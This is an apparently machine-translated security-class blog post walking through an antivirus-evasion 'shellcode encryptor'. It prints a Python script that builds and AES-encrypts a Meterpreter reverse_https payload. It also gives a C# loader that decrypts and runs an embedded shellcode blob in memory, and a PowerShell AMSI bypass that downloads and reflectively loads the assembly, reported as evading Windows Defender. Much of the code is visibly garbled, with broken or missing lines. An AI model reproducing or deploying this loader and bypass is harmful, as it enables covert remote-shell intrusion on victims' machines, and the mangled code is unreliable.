A hands-on test of safety learning methods: Taking bypass shellcode encryptor as an example

Article source | MS08067 Web vulnerability mining class No. 3

Author: Cream (Lecturer of web vulnerability mining class)

Many people have the habit of collecting the articles they see or forwarding them to their circle of friends in the process of learning.

Collection is learning? Forwarding is learning?

Of course, there are still many small partners who will read carefully and conduct practical research. The most important thing in learning security is hands-on operation. You will never learn if you don't start to test APP vulnerabilities, and you will never know your level if you don't start to knock the code, If it is not tested in the actual environment, it is not clear whether it can be free from killing, etc.

In short, practice is the only criterion for testing truth.

Everyone has their own learning methods. Every time we see a technical article and a big coffee experience statement, our best learning attitude is to know what it is and why it is. The level of these articles varies from high to low. Whether they are helpful varies from person to person. The learning process and results are the most important.

The following is a brief description of the basic steps and thoughts I tested when learning an article. (limited level, forgive me)

On December 28, Khan security laboratory published an article "Bypass Shellcode - Encryptor". Recently, it has been reproducing and studying various killing free technologies, and then took them for research. If there is infringement, please let us know. Thank you.

The general idea in this paper is to use meterpreter_encryptor.py generates the key and shellcode, and inserts them into the C# code. After compilation, you can get the horse free.

Original link:


Where meterpreter_encryptor.py code is as follows:

#!/usr/bin/env python3
import array, base64, random, string
from Crypto.Cipher import AES
from hashlib import sha256
import argparse, subprocess,
def main():
  args = parse_args()
  lhost = args.
  lport lhost= args.
  key lport= args.
  keyif not key:
    key = get_random_string(32)
  payload = args.
  method payload= args.
  methodformat = args.format
''' generate msfvenom payload '''
  print("[+] Generating MSFVENOM payload...")
  result = subprocess.run(['msfvenom',
    '-p', payload,
    'LPORT=' + lport,
    'LHOST=' + lhost,
#    '-b', '\\x00',
    '-f', 'raw',
    '-o', './msf.bin'],
= open("./msf.bin", "rb")
  buf = f.read()
print("[+] key and payload will be written to key.b64 and payload.b64")
''' encrypt the payload '''
  print("[+] Encrypting the payload, key=" + key + "...")
  hkey = hash_key(key)
  encrypted = encrypt(hkey, hkey[:16], buf)
  b64 = base64.b64encode(encrypted)
= open("./key.b64", "w")
= open("./payload.b64", "w")
if format == "b64":
    ''' base64 output '''
    print("[+] Base64 output:")
    print("\n[+] Have a nice day!")
  if format == "c":
    ''' c output '''
    print("[+] C output:")
    hex_string = 'unsigned char payload[] ={0x';
    hex = '0x'.join('{:02x},'.format(x) for x in encrypted)
    hex_string = hex_string + hex[:-1] + "};"
    print("\n[+] Have a nice day!")

def encrypt(key,iv,plaintext):
  key_length = len(key)
  if (key_length >= 32):
    k = key[:32]
  elif (key_length >= 24):
    k = key[:24]
    k = key[:16]
= AES.new(k, AES.MODE_CBC, iv)
  pad_text = pad(plaintext, 16)
  return aes.encrypt(pad_text)

def hash_key(key):
  h = ''
  for c in key:
    h += hex(ord(c)).replace("0x", "")
  h = bytes.fromhex(h)
  hashed = sha256(h).digest()
def pad(data, block_size):
  padding_size = (block_size - len(data)) %
   block_sizeif padding_size == 0:
    padding_size =
  padding  block_size= (bytes([padding_size]) * padding_size)
  return data +
def parse_args():
  parser = argparse.ArgumentParser()
.add_argument("-l", "--lport", default="", type=str,
    help="The local port that msfconsole is listening on.")
  parser.add_argument("-i", "--lhost", default="443", type=str,
      help="The local host that msfconsole is listening on.")
  parser.add_argument("-p", "--payload", default = "windows/x64/meterpreter/reverse_https", type=str,
    help="The payload to generate in msfvenom.")
  parser.add_argument("-m", "--method", default="thread", type=str,
    help="The method to use: thread/delegate.")
  parser.add_argument("-k", "--key", default="", type=str,
    help="The encryption key (32 chars).")

.add_argument("-f", "--format", default="b64", type=str,
    help="The format to output.")
return parser.parse_args()

def get_random_string(length):
  letters = string.ascii_letters + string.
  result_str digits= ''.join(random.choice(letters) for i in range(length))
if __name__ == '__main__':

usage method:

meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-f FORMAT]

-h) help information;

-i where the session bounces, and the IP address of the attacker;

-l which port the session bounces to, the attacker's port, do not conflict;

-p payload of MSF used;

-m operation after executing shellcode, with thread/delegate;

-The key of k 32 chars can be generated randomly without setting;

-e coding method, refer to the method of msfvenom;

-f generated payload type.

python3 meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i -l 443 -f b64

Copy the key and base64 results generated above and put them into the following C# code to compile and generate EXE files:

using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO;
    class Program
        public enum Protection
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
private delegate Int32 ShellcodeDelegate();
static void Main(string[] args)
static void Shellcode()
            // attempt heuristics/behaviour bypass
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            if (mem == null)
// decrypt the base64 payload - change these to your own encrypted payload and key
            string payload = "6LII6OYoVux8aZ+bY/9SiwDKLvHDFMSQYnr21YRAEe5m6rEjKxqnqHrjpp7X6XZBbrQcwqLnK7K4lXE1xv7PkLP0zPbQujfUxRDlMOKmvoH4DJySgcbBTwGvIey/4EIV4UZY6NCRSu1BVl9ztwAiSltAdoXt68JPFvm4W/V58crjsD8L2InuEmTf7QaGx43CbfBQPsG11KI0ExWpBQ9bdFaTQR1A8CPbLJ+Lx1gjJyDEKoOORrdP+iKdVRgox8kWqUlvEKOg90XienikjaZpeq4npmtg5Cwe0CMBkX688PFxFYtW32up38oFQAUIJ02mhKSHJMqUKbmZ/CHdoh5Vaheuq0XONzmYJ6H4tklqyeET8AszkrwxDebyPDpqnTjuCM4Gamynk0HAn5N2rH4S1KvrTKSTr7kTOa0okDPaYr9cIHtFbYmWW9wgDixkfkiJxD/Kx98F/urzgmnoxxSHKwVPUGQNqJ1vzB04gE0mPLJy1TyaNzgLxvIJRKLHDmpExH2Hd0ieCA8kp2Qwf6yVrM2aeFxChoDEVsHAB97E63O2eM1i+uFmSsR4Ti5P69WfvRinUb6VRLELQLdyg3BKlipcJiabchviL53J9Adqea3P4pAjtjbEELd1mMIA++dxhihcNDZ6zPPswv+M10DyWExWTc1NxJzUFogNYrhj/BumwMR95LA5m4wl8JvVUCGc0OCLPaMUHhdenCJwwFtBrW87lePC9BzFgxJ8gS5eSUF1CMp3hjBdSIE4fp/TQShNrxwrQWXt4gZKcqTkAnt3pdfFE7qkoF8YWormRMxCdVaofwtjow3hJB8+iW01puVl/5GIspKz0ligMoZUnxCRvY/kiqng3z21iO6LrFO2em5ts7/Oh6H4wUaAHFw+/L7/EEN+fR7stKR+kPHsholU5SU/ofCxyGWIvWno647MyNXxRZvbOdIxTLz2c0mJzV+sAiVXDK+B3GbNw6vjQFNHtI2LwW2Fm/uaUyt8qm1zQIJjZi210RTIr9l31nlcwrtH36YhnW/oQcBLBANbmT+MwYMEaU+gCr2Gi+vMmTE828GWwYbJ5rBR4gGT7eP1WP6i";
//Here is the generated payload
            string key = "vzj2WM9NY3oQ4U1KOJF7o15rXdj3YxNn";
//Here is the generated key
            byte[] buf = Decrypt(key, payload);
                fixed (byte* ptr = buf)
                    // set the memory as executable and execute the function pointer (as a delegate)
                    IntPtr memoryAddress = (IntPtr)ptr;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);
ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));
private static byte[] Decrypt(string key, string aes_base64)
            byte[] tempKey = Encoding.ASCII.GetBytes(key);
            tempKey = SHA256.Create().ComputeHash(tempKey);
[] data = Convert.FromBase64String(aes_base64);
// decrypt data
            Aes aes = new AesManaged();
            aes.Mode = CipherMode.CBC;
            aes.Padding = PaddingMode.PKCS7;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));
using (MemoryStream msDecrypt = new MemoryStream())
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))
.Write(data, 0, data.Length);
return msDecrypt.ToArray();
static byte[] SubArray(byte[] a, int length)
            byte[] b = new byte[length];
            for (int i = 0; i < length; i++)
                b[i] = a[i];
            return b;

Note: the unsafe code will report an error. You need to set the "allow unsafe" code in VS.

After the compilation is successful, the demo can be generated exe

This demo Exe is free from killing. Try online testing, and the results are as follows:

The demo Exe injection into remote powershell process:

# AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest "").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));

Execute in Windows 10 with protection turned on.

Finally, it can be successfully launched:

In addition: Denfender in the system is in real-time on state.

Added by smonkcaptain on Thu, 10 Feb 2022 17:19:39 +0200